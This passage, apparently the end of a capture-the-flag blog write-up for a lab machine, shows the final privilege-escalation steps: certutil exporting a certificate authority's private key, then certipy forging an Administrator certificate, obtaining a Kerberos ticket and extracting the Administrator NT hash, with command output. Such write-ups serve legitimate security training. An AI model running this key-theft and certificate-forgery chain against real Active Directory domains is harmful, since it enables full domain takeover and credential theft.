  Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Provider = Microsoft Software Key Storage Provider
Signature test passed
CertUtil: -store command completed successfully.

We havea Siginature test passed. This means we can export the private key and do the attack we talked about earlier.

1
certutil -exportPFX My 75b2f4bbf31f108945147b466131bdca ca.pfx

Download the .pfx and we can use certipy to forge our admin ticket.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
certipy forge -ca-pfx ca.pfx -upn Administrator -dc-ip 10.10.11.71

faketime -f +8hr $HOME/.local/bin/certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.11.71 -domain certificate.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Administrator'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:<Redacted>

And that is a fantastic box.

This post is licensed under CC BY 4.0 by the author.